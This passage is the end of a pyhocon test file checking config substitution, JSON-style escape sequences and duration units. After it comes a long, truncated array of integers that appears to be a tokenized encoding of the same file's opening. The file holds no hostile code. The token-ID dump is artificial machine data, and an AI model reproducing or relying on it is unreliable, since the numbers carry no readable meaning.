VAR : ${var}
}
substrate-suite: {
VAR : "right"
}
b1 = [
${compilerCommon} ${substrate-suite}
${compilerCommon} ${substrate-suite}
]
b2 = [
${compilerCommon} ${substrate-suite}
${compilerCommon} ${substrate-suite}
]
""")
assert config.get("b1")[1]['VAR'] == 'right'
assert config.get("b2")[1]['VAR'] == 'right'
def test_escape_sequences_json_equivalence(self):
"""
Quoted strings are in the same format as JSON strings,
See: https://github.com/lightbend/config/blob/master/HOCON.md#unchanged-from-json
"""
source = r"""
{
"plain-backslash": "\\",
"tab": "\t",
"no-tab": "\\t",
"newline": "\n",
"no-newline": "\\n",
"cr": "\r",
"no-cr": "\\r",
"windows": "c:\\temp"
}
"""
expected = {
'plain-backslash': '\\',
'tab': '\t',
'no-tab': '\\t',
'newline': '\n',
'no-newline': '\\n',
'cr': '\r',
'no-cr': '\\r',
'windows': 'c:\\temp',
}
config = ConfigFactory.parse_string(source)
assert config == expected
assert config == json.loads(source)
try:
from dateutil.relativedelta import relativedelta
@pytest.mark.parametrize('data_set', [
('a: 1 months', relativedelta(months=1)),
('a: 1months', relativedelta(months=1)),
('a: 2 month', relativedelta(months=2)),
('a: 3 mo', relativedelta(months=3)),
('a: 3mo', relativedelta(months=3)),
('a: 3 mon', '3 mon'),
('a: 1 years', relativedelta(years=1)),
('a: 1years', relativedelta(years=1)),
('a: 2 year', relativedelta(years=2)),
('a: 3 y', relativedelta(years=3)),
('a: 3y', relativedelta(years=3)),
])
def test_parse_string_with_duration_optional_units(data_set):
config = ConfigFactory.parse_string(data_set[0])
assert config['a'] == data_set[1]
except Exception:
pass
| [
1,
396,
448,
29930,
29899,
8025,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
13,
5215,
4390,
13,
5215,
2897,
13,
5215,
528,
4422,
13,
5215,
5694,
1445,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
3166,
12865,
1053,
5335,
287,
2554,
13,
13,
3166,
11451,
862,
2976,
1053,
20969,
5160,
2451,
29892,
20969,
2451,
29892,
20969,
16676,
2451,
13,
5215,
11187,
13,
5215,
11451,
1688,
13,
3166,
11451,
1251,
535,
1053,
313,
3991,
5126,
29892,
12782,
11726,
29892,
12782,
4035,
303,
5008,
2451,
29892,
12782,
9643,
29897,
13,
3166,
11451,
1251,
535,
29889,
11739,
29879,
1053,
313,
3991,
2451,
29892,
12782,
18552,
292,
2451,
29892,
13,
462,
18884,
12782,
29956,
29373,
1542,
2451,
29897,
13,
13,
2202,
29901,
13,
1678,
515,
2635,
4422,
29889,
2674,
1926,
287,
2554,
1053,
14215,
287,
2554,
408,
3785,
13,
19499,
8960,
29901,
13,
1678,
515,
12865,
1053,
5335,
287,
2554,
408,
3785,
13,
13,
13,
1990,
4321,
3991,
11726,
29898,
3318,
1125,
13,
1678,
822,
1243,
29918,
5510,
29918,
12857,
29918,
1767,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
29873,
353,
426,
13,
18884,
274,
353,
29871,
29945,
13,
18884,
376,
29881,
29908,
353,
1565,
13,
18884,
321,
29889,
29891,
353,
426,
13,
462,
1678,
285,
29901,
29871,
29955,
13,
462,
1678,
330,
29901,
376,
354,
29891,
868,
311,
3850,
13,
462,
1678,
298,
29901,
540,
29891,
767,
13,
462,
1678,
474,
353,
13218,
5931,
5931,
13,
462,
4706,
376,
4102,
1196,
29908,
13,
462,
4706,
376,
7496,
29908,
1196,
13,
462,
4706,
13218,
5931,
5931,
13,
18884,
500,
13,
18884,
432,
353,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
18884,
318,
353,
29871,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29896,
29889,
29941,
29914,
29941,
29906,
13,
18884,
330,
353,
1870,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
877,
29873,
29889,
29883,
1495,
1275,
525,
29945,
29915,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29873,
29889,
29883,
1495,
1275,
29871,
29945,
13,
4706,
4974,
2295,
29889,
657,
29918,
7411,
877,
29873,
29889,
29883,
1495,
1275,
29871,
29945,
29889,
29900,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
29889,
29872,
29889,
29891,
29889,
29888,
1495,
1275,
29871,
29955,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
29889,
29872,
29889,
29891,
29889,
29887,
1495,
1275,
525,
354,
29891,
868,
311,
20714,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
29889,
29872,
29889,
29891,
29889,
29882,
1495,
1275,
525,
354,
29891,
767,
29915,
13,
4706,
4974,
518,
29894,
29889,
17010,
580,
363,
325,
297,
2295,
29889,
657,
877,
29873,
29889,
29872,
29889,
29891,
29889,
29875,
2824,
5451,
28909,
29876,
1495,
29962,
1275,
6024,
742,
18793,
4102,
1196,
29908,
742,
18793,
7496,
29908,
1196,
742,
525,
2033,
13,
4706,
4974,
2295,
29889,
657,
29918,
11227,
877,
29873,
29889,
29881,
1495,
338,
5852,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29873,
29889,
29872,
29889,
29891,
29889,
29888,
1495,
1275,
29871,
29955,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
29889,
29926,
1495,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
29889,
29884,
1495,
1275,
525,
29896,
29929,
29906,
29889,
29896,
29953,
29947,
29889,
29896,
29889,
29941,
29914,
29941,
29906,
29915,
13,
4706,
4974,
2295,
29889,
657,
29918,
524,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
29918,
7411,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
29918,
11227,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
29918,
1761,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
29918,
2917,
877,
29873,
29889,
29887,
1495,
338,
6213,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1454,
29890,
4215,
29918,
3090,
742,
6024,
29974,
742,
525,
29952,
742,
525,
29985,
742,
525,
29973,
742,
525,
29991,
742,
18803,
742,
525,
29930,
742,
525,
29987,
11287,
13,
1678,
822,
1243,
29918,
14057,
29918,
5510,
29918,
1454,
29890,
4215,
29918,
3090,
21706,
29898,
1311,
29892,
19752,
4215,
29918,
3090,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
5160,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
29901,
540,
29891,
767,
8875,
4286,
4830,
29898,
1454,
29890,
4215,
29918,
3090,
876,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1454,
29890,
4215,
29918,
3090,
742,
6024,
29938,
742,
18793,
11287,
13,
1678,
822,
1243,
29918,
14057,
29918,
5510,
29918,
1454,
29890,
4215,
29918,
3090,
21706,
29918,
262,
29918,
4703,
29898,
1311,
29892,
19752,
4215,
29918,
3090,
1125,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
12914,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
29901,
540,
29891,
767,
8875,
4286,
4830,
29898,
1454,
29890,
4215,
29918,
3090,
876,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1454,
29890,
4215,
29918,
3090,
742,
6024,
29974,
742,
525,
29952,
742,
525,
29985,
742,
525,
29973,
742,
525,
29991,
742,
18803,
742,
525,
29930,
742,
525,
29987,
11287,
13,
1678,
822,
1243,
29918,
5510,
29918,
1454,
29890,
4215,
29918,
3090,
21706,
29918,
339,
5715,
29898,
1311,
29892,
19752,
4215,
29918,
3090,
1125,
13,
4706,
995,
353,
376,
354,
29891,
767,
8875,
1642,
4830,
29898,
1454,
29890,
4215,
29918,
3090,
29897,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
29901,
29850,
5038,
4286,
4830,
29898,
1767,
876,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
703,
29874,
1159,
1275,
995,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
2541,
29918,
264,
11291,
292,
29918,
13842,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
29871,
29945,
13,
18884,
500,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
877,
29874,
29889,
29890,
1495,
1275,
525,
29945,
29915,
13,
13,
1678,
732,
2272,
1688,
29889,
3502,
29889,
3207,
300,
374,
911,
877,
1272,
29918,
842,
742,
518,
13,
4706,
6702,
29874,
29901,
29871,
29896,
6233,
742,
3785,
29898,
1195,
2667,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
1195,
2667,
742,
3785,
29898,
1195,
2667,
29922,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29906,
11015,
742,
3785,
29898,
1195,
2667,
29922,
29906,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
286,
742,
3785,
29898,
1195,
2667,
29922,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
29885,
742,
3785,
29898,
1195,
2667,
29922,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29941,
1375,
742,
525,
29941,
1375,
5477,
13,
13,
4706,
6702,
29874,
29901,
29871,
29946,
6923,
742,
3785,
29898,
23128,
29922,
29946,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29945,
1473,
742,
3785,
29898,
23128,
29922,
29945,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29953,
269,
742,
3785,
29898,
23128,
29922,
29953,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29953,
5226,
742,
525,
29953,
5226,
5477,
13,
13,
4706,
6702,
29874,
29901,
29871,
29955,
6199,
742,
3785,
29898,
29882,
2470,
29922,
29955,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29947,
7234,
742,
3785,
29898,
29882,
2470,
29922,
29947,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29929,
298,
742,
3785,
29898,
29882,
2470,
29922,
29929,
8243,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29900,
11405,
742,
3785,
29898,
705,
14541,
29922,
29896,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
4723,
742,
3785,
29898,
705,
14541,
29922,
29896,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29906,
281,
742,
3785,
29898,
705,
14541,
29922,
29896,
29906,
8243,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29900,
3841,
742,
3785,
29898,
16700,
29922,
29896,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
2462,
742,
3785,
29898,
16700,
29922,
29896,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29906,
270,
742,
3785,
29898,
16700,
29922,
29896,
29906,
8243,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29900,
9200,
23128,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29896,
9200,
7496,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29906,
20710,
1883,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29906,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29941,
9200,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29946,
502,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29946,
8243,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29900,
3533,
21462,
742,
5335,
287,
2554,
29898,
19958,
21462,
29922,
29896,
29896,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29896,
3533,
18802,
742,
5335,
287,
2554,
29898,
19958,
21462,
29922,
29896,
29896,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29906,
3533,
275,
742,
5335,
287,
2554,
29898,
19958,
21462,
29922,
29896,
29896,
29906,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29941,
3533,
29875,
742,
5335,
287,
2554,
29898,
19958,
21462,
29922,
29896,
29896,
29941,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29946,
10887,
742,
5335,
287,
2554,
29898,
19958,
21462,
29922,
29896,
29896,
29946,
8243,
13,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29900,
23432,
852,
1116,
29879,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29900,
29900,
29900,
23432,
852,
1116,
29879,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29896,
29900,
29900,
29900,
29900,
23432,
852,
1116,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29896,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29906,
29900,
29900,
29900,
29900,
302,
16469,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29906,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29941,
29900,
29900,
29900,
29900,
302,
1562,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29941,
29900,
8243,
13,
4706,
6702,
29874,
29901,
29871,
29896,
29896,
29946,
29900,
29900,
29900,
29900,
17534,
742,
3785,
29898,
29885,
2357,
23128,
29922,
29896,
29896,
29946,
29900,
8243,
13,
268,
2314,
13,
1678,
822,
1243,
29918,
5510,
29918,
1807,
29918,
2541,
29918,
19708,
29898,
1311,
29892,
848,
29918,
842,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
1272,
29918,
842,
29961,
29900,
2314,
13,
13,
4706,
4974,
2295,
1839,
29874,
2033,
1275,
848,
29918,
842,
29961,
29896,
29962,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
1807,
29918,
2541,
29918,
19708,
29918,
2541,
29918,
5426,
29918,
5441,
29918,
978,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
7953,
13,
9651,
289,
29901,
29871,
29896,
29900,
11405,
13,
9651,
274,
29901,
2594,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
3785,
29898,
705,
14541,
29922,
29896,
29900,
29897,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
2541,
29918,
1761,
29918,
29885,
11925,
29918,
8768,
29918,
2541,
29918,
29881,
332,
800,
29918,
392,
29918,
3018,
6504,
29918,
510,
655,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
7953,
13,
9651,
289,
29901,
518,
29874,
29892,
29871,
29896,
29892,
29871,
29896,
29900,
11405,
29892,
29871,
29945,
6233,
26073,
13,
9651,
274,
29901,
2594,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29890,
2033,
1275,
6024,
29874,
742,
29871,
29896,
29892,
3785,
29898,
705,
14541,
29922,
29896,
29900,
511,
3785,
29898,
1195,
2667,
29922,
29945,
4638,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
2541,
29918,
264,
11291,
292,
29918,
17619,
29918,
2634,
3522,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
703,
29961,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
1159,
13,
4706,
4974,
2295,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
13,
1678,
822,
1243,
29918,
339,
5715,
29918,
1989,
29918,
2541,
29918,
7778,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
376,
29874,
29889,
29890,
29889,
29883,
29889,
29881,
1115,
29871,
29941,
13,
9651,
260,
426,
13,
795,
376,
29881,
1115,
426,
13,
18884,
376,
29883,
1115,
29871,
29945,
13,
795,
500,
13,
9651,
500,
13,
9651,
413,
426,
13,
18884,
376,
29890,
29889,
29888,
29889,
29881,
1115,
29871,
29955,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29908,
29874,
29889,
29890,
29889,
29883,
29889,
29881,
29908,
2033,
1275,
29871,
29941,
13,
4706,
4974,
2295,
1839,
29873,
29889,
29881,
29889,
29883,
2033,
1275,
29871,
29945,
13,
4706,
4974,
2295,
1839,
29895,
1213,
29890,
29889,
29888,
29889,
29881,
29908,
2033,
1275,
29871,
29955,
13,
13,
1678,
822,
1243,
29918,
29881,
15048,
29918,
16666,
29918,
14634,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
426,
13,
18884,
289,
353,
7953,
13,
18884,
274,
353,
2594,
13,
9651,
500,
13,
9651,
263,
29889,
29883,
353,
6435,
29874,
29889,
29890,
5038,
11568,
29874,
29889,
29890,
29913,
13,
9651,
263,
29889,
29881,
353,
12741,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
1839,
29874,
29889,
29890,
2033,
1275,
376,
5431,
29908,
13,
4706,
4974,
2295,
1839,
29874,
29889,
29883,
2033,
1275,
376,
5431,
7953,
29908,
13,
4706,
4974,
2295,
1839,
29874,
29889,
29881,
2033,
1275,
376,
27975,
29908,
13,
13,
1678,
822,
1243,
29918,
510,
655,
29918,
517,
29918,
25048,
403,
29918,
13338,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29922,
29896,
29892,
13,
9651,
289,
543,
10736,
613,
13,
9651,
274,
29922,
1552,
767,
29892,
13,
9651,
270,
29922,
827,
974,
29892,
13,
9651,
263,
29899,
29890,
29899,
29883,
29899,
29881,
29922,
1688,
29892,
13,
9651,
263,
289,
274,
270,
29922,
1688,
29906,
29892,
13,
9651,
376,
29874,
289,
274,
270,
321,
29908,
29922,
1688,
29941,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
1495,
1275,
29871,
29896,
13,
4706,
4974,
2295,
29889,
657,
877,
29890,
1495,
1275,
525,
10736,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29883,
1495,
1275,
525,
1552,
767,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29881,
1495,
1275,
525,
827,
974,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29899,
29890,
29899,
29883,
29899,
29881,
1495,
1275,
525,
1688,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
289,
274,
270,
1495,
1275,
525,
1688,
29906,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
289,
274,
270,
321,
1495,
1275,
525,
1688,
29941,
29915,
13,
13,
1678,
822,
1243,
29918,
8977,
29918,
14634,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
426,
13,
462,
1678,
270,
426,
13,
462,
9651,
330,
29889,
29882,
29889,
29926,
29889,
29884,
29901,
29871,
29945,
13,
462,
9651,
330,
426,
13,
462,
462,
1678,
298,
29889,
29881,
29901,
29871,
29946,
13,
462,
9651,
500,
13,
462,
9651,
330,
29889,
29882,
29889,
29895,
29901,
285,
270,
13,
462,
1678,
500,
13,
13,
462,
1678,
298,
29889,
29875,
29889,
29885,
353,
29871,
29955,
13,
462,
1678,
298,
29889,
29875,
426,
13,
462,
9651,
270,
29901,
29871,
29945,
13,
462,
1678,
500,
13,
13,
462,
1678,
298,
29889,
29875,
426,
13,
462,
9651,
321,
29901,
29953,
29945,
13,
462,
1678,
500,
13,
9651,
500,
13,
9651,
5124,
1159,
13,
13,
4706,
3806,
29918,
2914,
353,
426,
13,
9651,
376,
29874,
1115,
426,
13,
18884,
376,
29881,
1115,
426,
13,
462,
1678,
376,
29887,
1115,
426,
13,
462,
4706,
376,
29882,
1115,
426,
13,
462,
9651,
376,
29926,
1115,
426,
13,
462,
18884,
376,
29884,
1115,
29871,
29945,
13,
462,
9651,
2981,
13,
462,
9651,
376,
29881,
1115,
29871,
29946,
29892,
13,
462,
9651,
376,
29895,
1115,
376,
29888,
270,
29908,
13,
462,
4706,
500,
13,
462,
1678,
500,
13,
18884,
2981,
13,
18884,
376,
29882,
1115,
426,
13,
462,
1678,
376,
29875,
1115,
426,
13,
462,
4706,
376,
29885,
1115,
29871,
29955,
29892,
13,
462,
4706,
376,
29881,
1115,
29871,
29945,
29892,
13,
462,
4706,
376,
29872,
1115,
29871,
29953,
29945,
13,
462,
1678,
500,
13,
18884,
500,
13,
9651,
500,
13,
4706,
500,
13,
4706,
4974,
3806,
29918,
2914,
1275,
2295,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
2541,
29918,
21032,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
849,
3440,
29871,
29896,
13,
9651,
396,
3440,
29871,
29906,
13,
9651,
426,
13,
18884,
274,
353,
1243,
259,
849,
3440,
29871,
29900,
13,
18884,
330,
353,
29871,
29953,
1243,
259,
396,
3440,
29871,
29900,
13,
18884,
396,
3440,
29871,
29941,
13,
18884,
263,
29901,
426,
396,
3440,
29871,
29946,
13,
462,
1678,
289,
29901,
1243,
29892,
18884,
396,
3440,
29871,
29945,
13,
18884,
500,
396,
3440,
29871,
29953,
13,
18884,
260,
353,
518,
29896,
29892,
396,
3440,
29871,
29955,
13,
462,
418,
29906,
29892,
396,
3440,
29871,
29947,
13,
462,
418,
29941,
29892,
396,
3440,
29871,
29929,
13,
18884,
4514,
13,
9651,
500,
396,
3440,
29871,
29896,
29900,
13,
9651,
849,
3440,
29871,
29896,
29896,
13,
9651,
849,
3440,
29871,
29896,
29906,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29883,
1495,
1275,
525,
1688,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29887,
1495,
1275,
525,
29953,
1243,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29890,
1495,
1275,
525,
1688,
29915,
13,
4706,
4974,
2295,
29889,
657,
29918,
1807,
877,
29874,
29889,
29890,
1495,
1275,
525,
1688,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29873,
1495,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29962,
13,
13,
1678,
822,
1243,
29918,
27259,
29918,
2917,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
29871,
29945,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
396,
289,
338,
451,
731,
577,
1510,
12020,
385,
3682,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
18552,
292,
2451,
1125,
13,
9651,
2295,
29889,
657,
877,
29890,
1495,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
4304,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
1870,
13,
9651,
289,
353,
518,
4304,
29962,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
1495,
338,
6213,
13,
4706,
4974,
2295,
29889,
657,
877,
29890,
29861,
29900,
29962,
338,
6213,
13,
13,
1678,
822,
1243,
29918,
5510,
29918,
15752,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
29871,
29945,
13,
462,
1678,
500,
13,
18884,
500,
13,
18884,
263,
29889,
29890,
426,
13,
462,
1678,
274,
353,
29871,
29955,
13,
462,
1678,
270,
353,
29871,
29947,
13,
18884,
500,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29890,
29889,
29883,
1495,
1275,
29871,
29955,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29890,
29889,
29881,
1495,
1275,
29871,
29947,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
8977,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
29901,
426,
29890,
29901,
29871,
29896,
29913,
13,
9651,
263,
29901,
426,
29883,
29901,
29871,
29906,
29913,
13,
9651,
289,
29901,
426,
29883,
29901,
29871,
29941,
29913,
426,
29881,
29901,
29871,
29946,
29913,
426,
13,
18884,
274,
29901,
29871,
29945,
13,
9651,
500,
13,
9651,
9995,
13,
4706,
1723,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29890,
1495,
1275,
29871,
29896,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
29889,
29883,
1495,
1275,
29871,
29906,
13,
4706,
4974,
2295,
29889,
657,
877,
29890,
29889,
29883,
1495,
1275,
29871,
29945,
13,
4706,
4974,
2295,
29889,
657,
877,
29890,
29889,
29881,
1495,
1275,
29871,
29946,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
1807,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
263,
289,
274,
13,
9651,
289,
353,
29871,
29945,
289,
13,
9651,
274,
353,
289,
29871,
29955,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
1495,
1275,
525,
29874,
289,
274,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29890,
1495,
1275,
525,
29945,
289,
29915,
13,
4706,
4974,
2295,
29889,
657,
877,
29883,
1495,
1275,
525,
29890,
29871,
29955,
29915,
13,
13,
1678,
822,
1243,
29918,
17685,
29918,
1761,
29898,
1311,
1125,
13,
4706,
2295,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
263,
353,
518,
29896,
29892,
29871,
29906,
29962,
518,
29941,
29892,
29871,
29946,
29962,
518,
13,
1669,
29945,
29892,
13,
1669,
29953,
13,
9651,
4514,
13,
9651,
9995,
13,
4706,
1723,
13,
13,
4706,
4974,
2295,
29889,
657,
877,
29874,
1495,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
4706,
4974,
2295,
29889,
657,
29918,
1761,
877,
29874,
1495,
1275,
518,
29896,
29892,
29871,
29906,
29892,
29871,
29941,
29892,
29871,
29946,
29892,
29871,
29945,
29892,
29871,
29953,
29962,
13,
13,
1678,
822,
1243,
29918,
12313,
29918,
17685,
29898,
1311,
1125,
13,
4706,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
353,
29871,
29946,
29945,
29905,
29876,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
353,
518,
29946,
29962,
376,
29946,
29908,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
353,
376,
29946,
29908,
518,
29945,
29962,
1495,
13,
4706,
411,
11451,
1688,
29889,
336,
4637,
29898,
3991,
29956,
29373,
1542,
2451,
1125,
13,
9651,
12782,
5126,
29889,
5510,
29918,
1807,
877,
29874,
353,
426,
29890,
29901,
29871,
29945,
29913,
376,
29946,
29908,
1495,
13,
13,
1678,
822,
1243,
29918,
1807,
29918,
22492,
5008,
29879,
29898,
1311,
1125,
13,
4706,
2295,
29896,
353,
12782,
5126,
29889,
5510,
29918,
1807,
29898,
13,
9651,
9995,
13,
9651,
426,
13,
18884,
263,
29901,
426,
13,
462,
1678,
289,
29901,
426,
13,
462,
4706,
274,
353,
851,
13,
462,
4706,
321,
353,
376,
710,
418,
376,
13,
462,
1678,
500,
